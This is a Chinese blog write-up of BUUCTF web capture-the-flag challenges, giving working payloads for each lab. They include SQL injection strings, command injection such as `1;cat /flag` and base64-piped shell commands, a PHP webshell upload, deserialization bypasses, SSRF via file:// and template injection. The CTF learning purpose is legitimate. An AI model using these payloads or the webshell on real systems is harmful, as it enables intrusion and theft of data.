从0到1——BUUCTF-Web刷题之旅

原创

4399彪哥 于 2021-12-29 20:11:30 发布 2311 收藏

文章标签： php 网络安全 web

本文链接：https://blog.csdn.net/weixin_45848585/article/details/122223737

[HCTF 2018]WarmUp

查看网页源码 发现存在source.php 于是查看source.php

```
http://0df7b2a6-36eb-4766-8481-62b98f795732.node3.buuoj.cn/source.php
```

查看source.php应该为index.php的代码 同时发现存在hint.php文件 查看发现存在提示信息

```php
//source.php
//代码包含两部分 定义emmm类用于check以及对传入参数进行校验 令一部分为对传入的file参数进行校验
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {//page不为空或者字符串
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {//检测page是否在whitelist中
                return true;
            }
            //mb_substr返回字符串的一部分 mb_strpos用于查找字符串在另一个字符串中首次出现的位置
            $_page = mb_substr( //如果page有？ 则获取page第一个？前的值并赋给_page
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {检测_page是否在whitelist中
                return true;
            }

            $_page = urldecode($page);//_page赋值为解URL编码后的page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    //对传入的file参数进行校验 不为空 为字符串且能通过checkFile的检验
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
?>
```

构造padload

```
http://0df7b2a6-36eb-4766-8481-62b98f795732.node3.buuoj.cn/index.php?file=source.php?/../../../../ffffllllaaaaggg
```

参考链接：

https://www.php.net/manual/zh/function.mb-strpos.php

[极客大挑战 2019]EasySQL

随便传个账号密码进去，发现不行，加个‘发现报错

采用万能密码登录

构造padload

```
http://c27ee3bf-aeda-42b4-be1d-30e32295d2cf.node3.buuoj.cn/check.php?username=1'or'1'='1&password=1'or'1'='1
```

因为账号=1不对 执行or后面语句‘1’=‘1’恒成立 即登录成功

[强网杯 2019]随便注

- 堆叠注入

更改表名与字段名

```
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23
```

- 绕过

由于屏蔽了select等关键字 所以可以用concat拼接

构造padload

```
?inject=-1';SET @sql = CONCAT('sel','ect',' * from `1919810931114514`;');PREPARE dawn from @sql;EXECUTE dawn;#
```

- handler

```
handler `1919810931114514` open;handler `1919810931114514` read first;
```

[极客大挑战 2019]Havefun

查看源码 最后存在注释

```
<!--
      $cat=$_GET['cat'];
      echo $cat;
      if($cat=='dog'){
          echo 'Syc{cat_cat_cat_cat}';
      }
```

直接传入参数cat=dog

padload

```
http://59923d59-eaae-4b08-958a-125ac0134a65.node3.buuoj.cn/?cat=dog
```

[SUCTF 2019]EasySQL

```
堆叠注入发现存在FLAG表
1;show databases;
1;show tables;
```

然后就不会了

- 查询

在查询框输入`*,1`整合后语句变为`select *,1||flag from Flag`

- 重置操作符

使用`set sql_mode=PIPES_AS_CONCAT;`将`||`视为字符串的连接操作符而非或运算符。

输入`1;set sql_mode=pipes_as_concat;select 1`得到flag

[ACTF2020 新生赛]Include

php filter伪协议通过`read=convert.base64-encode/resource`读取得到base64代码

```
http://7f0b30f6-3a6b-46f2-824a-0820bfb18843.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php
```

[极客大挑战 2019]Secret File

访问网页 看源码发现存在Archive_room.php 跟踪发现action.php 跟踪发现进入end.php 存在提示没看清 重新回到action.php然后抓包发现存在存在提示代码secr3t.php

```
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file);
//flag放在了flag.php里
?>
```

文件包含漏洞 php filgter伪协议同上题

padload

```
http://1bdad1c9-8c87-4126-bfe5-43bd37601e3e.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
```

解base64得到flag

[极客大挑战 2019]LoveSQL

测试username处有无注入点

```
?username=1' order by 1%23&password=ads
```

`order by 4`报错了得出该表有三个字段

寻找注入点

```
?username=1' union select 1,2,3%23&password=ads
```

发现存在回显

则2,3为注入点

构造padload

```
?username=1' union select 1,database(),3%23&password=ads
```

得到库名：`geek!`

```
?username=1' union select 1,database(),group_concat(table_name)  from information_schema.tables where  table_sch
ema=database()%23&password=ads
```

得到表名：`geekuser,l0ve1ysq1`

```
?username=1' union select 1,database(),group_concat(column_name)  from information_schema.columns where  table_n
ame='l0ve1ysq1'%23&password=ads
```

得到字段名：`id,username,password`

```
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads
```

得到flag

[ACTF2020 新生赛]Exec

给出网站可以对给定地址ping 尝试ping百度ping通 存在命令执行`127;ls`发现存在index.php文件cat一下得到

```
<?php
if (isset($_POST['target'])) {
 system("ping -c 3 ".$_POST['target']);
}
?>
```

传入一个参数然后ping 没什么用

直接`1;cat \flag`得到flag 如果采用`1|cat \flag`

- | 直接执行|后面的语句
- ; linux下有的，和&一样的作用

[GXYCTF2019]Ping Ping Ping

命令执行 直接传参`ip=1;ls` 存在flag.php和index.php 尝试cat一下flag

发现不能有空格%20绕过无效，`${IFS}`绕过提示不能有特殊符号 `$IFS$9`成功绕过 提示不能出现flag

算了看来不能直接过 还是先看看index.php

```
/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|
\\|\(|\)|\[|\]|\{|\}/", $ip, $match);    die("fxck your symbol!");  } else if(preg_match("/ /", $ip)){    die("f
xck your space!");  } else if(preg_match("/bash/", $ip)){    die("fxck your bash!");  } else if(preg_match("/.*f
.*l.*a.*g.*/", $ip)){    die("fxck your flag!");  }  $a = shell_exec("ping -c 4 ".$ip);  echo "";  print_r($a);}
?>
```

构造payload

```
http://7efe6004-ee5e-4b85-ba23-3cddd20d3dab.node3.buuoj.cn/?ip=1;b=g;cat$IFS$9fla$b.php;
```

查看源码得到flag

网上看的其它解法：

```
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
```

[极客大挑战 2019]Knife

打开网页是`eval($_POST["Syc"]);`根据题目提示 应该是用中国菜刀 提交Syc为密码后即可以连上网站。菜刀半天显示读取中，用蚁剑实现，在网站的根目录下找到flag

[护网杯 2018]easy_tornado

打开网站是指向3个txt，其内容为

```
--flag.txt--
flag in /fllllllllllllag

--welcome.txt--
render

--hints.txt--
md5(cookie_secret+md5(filename))
```

url格式为

```
http://d980f446-4af8-459e-99b3-c0229161df9a.node3.buuoj.cn/file?filename=/hints.txt&filehash=5548342da611c91de7a856e4ffaa0e94
```

发现读取文件还需要其对应的hash值，即还要知道`cookie_secret`

为了得到`cooike_secret`由于render是python中的一个渲染函数，也就是一种模板，通过调用的参数不同，生成不同的网页render配合Tornado（搜题目发现tornado是一个python的web框架）使用。

在tornado模板中，存在一些可以访问的快速对象,这里用到的是handler.settings，handler 指向RequestHandler，而RequestHandler.settings又指向self.application.settings，所以handler.settings就指向RequestHandler.application.settings了，这里面就是我们的一些环境变量。

通过模板注入方式我们可以构造

```
http://d980f446-4af8-459e-99b3-c0229161df9a.node3.buuoj.cn/error?msg={{handler.settings}}
```

网页回显为如下内容

```
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'f5651c0c-d21e-489e-94dc-54e79f649b77'}
```

得到cooike_secret后通过脚本计算得到hash

```
#coding:utf-8
import hashlib
cookie_secret = 'f5651c0c-d21e-489e-94dc-54e79f649b77'
filename = '/fllllllllllllag'
file_hash = hashlib.md5(filename.encode("utf8")).hexdigest()
new_filename = cookie_secret + file_hash
print(hashlib.md5(new_filename.encode("utf8")).hexdigest())
```

得到hash后构造payload

```
http://d980f446-4af8-459e-99b3-c0229161df9a.node3.buuoj.cn/file?filename=/flllllllllllag&filehash=046f24cb4a80d4b4ad246cd853124015
```

Tornado框架的官方文档

https://www.tornadoweb.org/en/stable/

[RoarCTF 2019]Easy Calc

本题需要的一些知识点

- PHP的字符串解析特性
  当waf不允许num变量传入字母时，即`?num=abc`报错时。我们可以在num前加一个空格`? num=abc`。这样就能绕过waf，因为现在的变量叫做`空格nums`而不是`num`。但在php解析时却会把空格去掉，即代码可以正常运行且上传了非法字符。
- `scandir()`函数可以用于列出参数目录下的文件和目录。

打开题目我们发现是一个计算器，查看源码

```
$('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
})
```

发现是通过calc.php并传入num的值。为了获取根目录下的所有文件 我们应该`scandir("/")`

```
<?phperror_reporting(0);if(!isset($_GET['num'])){    show_source(__FILE__);}else{        $str = $_GET['num'];    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];        foreach ($blacklist as $blackitem) {                if (preg_match('/' . $blackitem . '/m', $str)) {                        die("what are you want to do?");                }        }        eval('echo '.$str.';');}?>
```

但根据calc.php我们发现`/`被过滤，即可通过`scandir(chr(47))`来扫描网站文件

```
http://node3.buuoj.cn:25782/calc.php?%20num=1;var_dump(scandir(chr(47)))
```

发现有一个`f1agg`文件

获取文件

```
http://node3.buuoj.cn:25782/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
```

参考链接：

https://blog.csdn.net/weixin_44077544/article/details/102630714

[极客大挑战 2019]Http

查看源代码 发现存在secret.php文件

其中提示`It doesn't come from 'https://www.Sycsecret.com'`那就burp伪造

添加`Referer:https://www.Sycsecret.com`*注意是访问secret.php而不是网站根目录*

发现返回`Please use "Syclover" browser`，那就伪造浏览器

修改`User-Agent:Syclover`后返包又提示`No!!! you can only read this locally!!!`

添加`X-Forwarded-For:127.0.0.1`，成功得到flag

```
完整的headerGET /Secret.php HTTP/1.1Host: node3.buuoj.cn:29345User-Agent:SycloverAccept: text/html,application/x
html+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US
;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: UM_distinctid=178078274d322b-0a85eec25483e
28-4c302372-144000-178078274d440bUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Referer:https://www.Sycsecr
et.comX-Forwarded-For:127.0.0.1
```

[极客大挑战 2019]PHP

进入环境 题目提示备份网站

用dirsearch扫描

```
python dirsearch.py -u http://f08003c6-31b1-49c1-8ec8-1eaed7a53ab6.node3.buuoj.cn -e php
```

关于dirsearch的使用

-u 指定url

-e 指定网站语言

-w 可以加上自己的字典（带上路径）

-r 递归跑（查到一个目录后，在目录后在重复跑，很慢，不建议用）

发现存在www.zip文件

进入`http://f08003c6-31b1-49c1-8ec8-1eaed7a53ab6.node3.buuoj.cn/www.zip`下载得到zip文件

存在index.php，flag.php和class.php 直接提交flag.php中内容出错

查看index.php

```
<?php    include 'class.php';    $select = $_GET['select'];    $res=unserialize(@$select);    ?>
```

查看class.php

```
<?phpinclude 'flag.php';error_reporting(0);class Name{    private $username = 'nonono';    private $password = '
yesyes';    public function __construct($username,$password){        $this->username = $username;        $this->
password = $password;    }    function __wakeup(){        $this->username = 'guest';    }    function __destruct
(){        if ($this->password != 100) {            echo "</br>NO!!!hacker!!!</br>";            echo "You name i
s: ";            echo $this->username;echo "</br>";            echo "You password is: ";            echo $this->
password;echo "</br>";            die();        }        if ($this->username === 'admin') {            global $f
lag;            echo $flag;        }else{            echo "</br>hello my friend~~</br>sorry i can't give you the
 flag!";            die();                }    }}?>
```

阅读代码发现执行析构函数`__destruct`时传入password=100并且username=admin才能得到flag 但是`_wakeup`方法（该方法会在`unserialize()`执行前调用）会将username变为guest

进行反序列化操作

```
<?phpclass Name{    private $username = 'nonono';    private $password = 'yesyes';    public function __construc
t($username,$password){        $this->username = $username;        $this->password = $password;    }}$a=new Name
('admin',100);$b=serialize($a);echo $b;?>
```

得到序列化

```
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
```

由于**当反序列化字符串，表示属性个数的值大于真实属性个数时，会跳过 __wakeup 函数的执行。**

所以我们修改序列化为

```
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
```

其中name后面的2，代表类中有2个属性，但如果我们把2改成3，就会绕过__wakeup()函数。

但由于private声明的字段是私有字段，**类名和字段名前面都会加上\0的前缀**所以我们可以通过加上%00的方法

```
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
```

构造payload得到flag

```
http://f08003c6-31b1-49c1-8ec8-1eaed7a53ab6.node3.buuoj.cn/index.php?select=O:4:%22Name%22:3:{s:14:%22%00Name%00
username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
```

也可以直接通过python脚本进行提交得到flag

```
import  requests

url ="http://f08003c6-31b1-49c1-8ec8-1eaed7a53ab6.node3.buuoj.cn/"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100
;}')
print(html.text)
```

参考链接：

https://blog.csdn.net/weixin_44077544/article/details/103542260
https://www.cnblogs.com/wangtanzhi/p/12193930.html

[极客大挑战 2019]Upload

题目要求我们上传东西

可以上传一句话木马再用蚁剑连接

创建1.phtml文件

```
#1.phtml

GIF89a? <script language="php">eval($_REQUEST[shell])</script>
```

phtml一般是指嵌入了php代码的html文件，但是同样也会作为php解析

上传时burp抓包修改`Content-Type: image/jpeg`

蚁剑连接 路径为

```
http://7ec08d83-e8f8-4932-9051-5eca77aaabd9.node3.buuoj.cn/upload/1.phtml
```

flag 位于根目录下

[极客大挑战 2019]BabySQL

先进行基础测试 发现select、union、from等都被过滤 但是双写可以通过，其内部可能是replace函数直接替换

```
http://74041467-1dae-4878-8e3f-d4e72a1f6305.node3.buuoj.cn/check.php?username=1&password=1%20%27%20ununionion%20seselectlect%201%20%23
```

这样就成功注入了 但是提示`The used SELECT statements have a different number of columns`字段数不对

```
?username=1&password=1%27 ununionion seselectlect 1,2,3 %23
```

尝试之后发现其存在三个字段，2、3处存在回显点，然后爆库名

```
?username=1&password=1%27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
```

存在如下数据库`'information_schema,mysql,performance_schema,test,ctf,geek'`

flag应该存在与ctf库中 然后爆表名

```
?username=1&password=1 %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)whwhereere table_schema="ctf" %23
```

发现存在Flag表，然后找Flag中的字段名

```
?username=1&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23
```

发现存在flag字段，最后查询字段中值

```
?username=1&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23
```

也可以从geek库进行查找参考链接如下：

https://www.yuque.com/jxswcy/buuoj-wp/fexmwr

https://www.cnblogs.com/h3zh1/p/12548753.html

[ACTF2020 新生赛]Upload

基本同前一题，但是直接上传1.phtml发现不行 因为存在前端的验证代码，限定上传格式为图片。

所以我们随便上传一张图片，提交的时候bp抓包 自己写马，文件名改为“1.phtml”。成功上传后蚁剑连接，在根目录下得到flag。

[ACTF2020 新生赛]BackupFile

题目提示为备份文件 试了一下`www.zip`不行 用`dirsearch`扫描发现`/index.php.bak`下载得到php代码

```
<?php
```

```
?>
```

`file_get_contents`将整个文件读入一个字符串，这里要求文件里的内是`welcome to the zjctf`直接传入发现没有回显 要绕过它

可以采用`data://text/plain;base64,数据（base64加密后）`

传参`text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=`

得到回显`welcome to the zjctf`表示成功

对于第二个绕过 需要传入`file=useless.php` 直接传入该参数只会得到运行的结果 所以针对php文件我们需要进行base64编码，否则读取不到其内容，所以要用`filter`来读源码

传参

`file=php://filter/read=convert.base64-encode/resource=useless.php`

解base64后得到一段php代码

```
<?php  class Flag{  //flag.php      public $file;      public function __tostring(){          if(isset($this->fi
le)){              echo file_get_contents($this->file);              echo "<br>";        return ("U R SO CLOSE !/
//COME ON PLZ");        }      }  }  ?>
```

创建`File`对象 将file值赋值为flag.php。序列化后传入password，应该就会出flag。

本地运行

```
<?php
class Flag{  //flag.php
    public $file="flag.php";
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
$a = new Flag();
echo serialize($a);
?>
```

得到结果`O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}`

paylaod

```
http://e4271c1a-7146-4a89-885c-5db85e062b58.node3.buuoj.cn/index.php?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
```

查看源码得到flag

[极客大挑战 2019]HardSQL

试了一下 发现过滤了and 空格 union等关键字

and过滤可以用or或者异或`^`代替，空格被过滤可以用括号代替

但是`information_schema,updatexml`还是可以 也就是说要报错注入

查库名

```
http://f9dc0de1-ffa5-49aa-a7c9-6c6b1aa589ea.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
```

得到库名为geek

查表名

```
http://f9dc0de1-ffa5-49aa-a7c9-6c6b1aa589ea.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123
```

得到表名为H4rDsq1

查字段

```
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123
```

得到字段有id,username,password

查数据

```
http://f9dc0de1-ffa5-49aa-a7c9-6c6b1aa589ea.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=123
```

但得到的flag只有一半

使用left和right得到两边进行拼接

```
http://f9dc0de1-ffa5-49aa-a7c9-6c6b1aa589ea.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123
```

```
http://f9dc0de1-ffa5-49aa-a7c9-6c6b1aa589ea.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123
```

当然 用`extractvalue()`也可以

参考链接：

https://blog.csdn.net/weixin_43818995/article/details/104338002

https://www.e-learn.cn/topic/3746705

[CISCN2019 华北赛区 Day2 Web1]Hack World

先fuzz一下 利用没有被过滤的字符我们可以进行bool盲注

```
id=0^(ascii(substr((select(flag)from(flag)),1,1))>101)
```

在大于102时报错，即第一个字符的ascii为102 即f

想跑个脚本得到flag 但是网上找的都有错 没办法自己改吧

发现也会错原因在于post太快出现`429 Too Many Requests`报错 所以注意添加sleep即可

```
import requests
import time

url = "http://81babd46-c190-473f-87d7-bd5fdc77ba4f.node3.buuoj.cn/index.php"
payload = {
 "id" : ""
}
result = ""
for i in range(1,100):
    mid=30
    payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
    html = requests.post(url,data=payload)
    print(payload)
    while("Hello" in html.text):
        mid=mid+1
        payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
        html = requests.post(url,data=payload)
        time.sleep(0.1)
        print(payload)
    result=result+chr(mid)
    if(chr(mid)=='}'):
        break
    print(result)
print("flag: " ,result)
```

也不急就慢慢跑 如果要快点就二分再重设初始值和结束值。洗个澡 得到flag

参考链接：

https://www.cnblogs.com/zzjdbk/p/13650826.html

[网鼎杯 2018]Fakebook

注册个账号(blog地址要.com不然注册失败) 看看源码 好像没什么有效信息 `dirsearch`扫一下

有个robot.txt 里面给了个备份地址`/user.php.bak`下载下来

```php
<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog
);
    }
}
```

测试一下 发现过滤了union select 可以用注释来绕过

先测试一下发现有4列

```
/view.php?no=-1 union/**/select 1,2,3,4
```

发现2处有回显点 再查库名

```
/view.php?no=-1 union/**/select 1,database(),3,4
```

得到库名facebook 然后查表名

```
/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema
=database()
```

得到表名user 查字段名

```
/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name
='users'
```

得到字段`no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS`

然后爆值

```
/view.php?no=-1/**/union/**/select/**/1,group_concat(data),3,4/**/from/**/users/**/where/**/no='1'%23
```

得到data字段下数据为

```
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:5:"1.com";}
```

对其进行序列化

```php
<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;

    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog
);
    }
}
$u = unserialize('O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:5:"1.com";}');
$s = $u;
$s->blog = 'file:///var/www/html/flag.php';
print(serialize($s));
```

得到

```
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
```

payload

```
http://12b5b227-fa82-4aac-a991-3545f1754f2a.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:1:%221%22;s:3:%22age%22;i:1;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27
```

发现blog栏已经变为flag.php

查看源码 有段base64点进去得到flag

参考链接:

https://www.yuque.com/jxswcy/buuoj-wp/wizgcz

https://blog.csdn.net/weixin_43818995/article/details/104529233

https://www.freesion.com/article/4631470744/

[GXYCTF2019]BabySQli

查看search.php有一段`base32`

```
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
```

解码后是一段`base64`

```
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
```

再解码

```
select * from user where username = '$name'
```

发现`user=admin`时提示为`wrong pass` 而`user`为其它时提示`wrong user`即证明存在user用户

然后`user=' union select 1,2,3 #`不报错， `user=' union select 1,2,3,4 #`报错了

说明存在3个字段 而`' union select 1,'admin',3#`不报错说明第二个字段为user 第一个为id之类的 第三个应该是md5的password

再联合查询时 如果查询的数据不存在 联合查询会构造一个虚拟数据,具体见参考链接.所以我们在union时第三列填md5 在password填原始值即可

payload

```
user:'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
password:123456
```

参考链接:

https://www.jianshu.com/p/034cfa61a305

https://blog.csdn.net/SopRomeo/article/details/104682814

https://blog.csdn.net/m0_46246804/article/details/109128549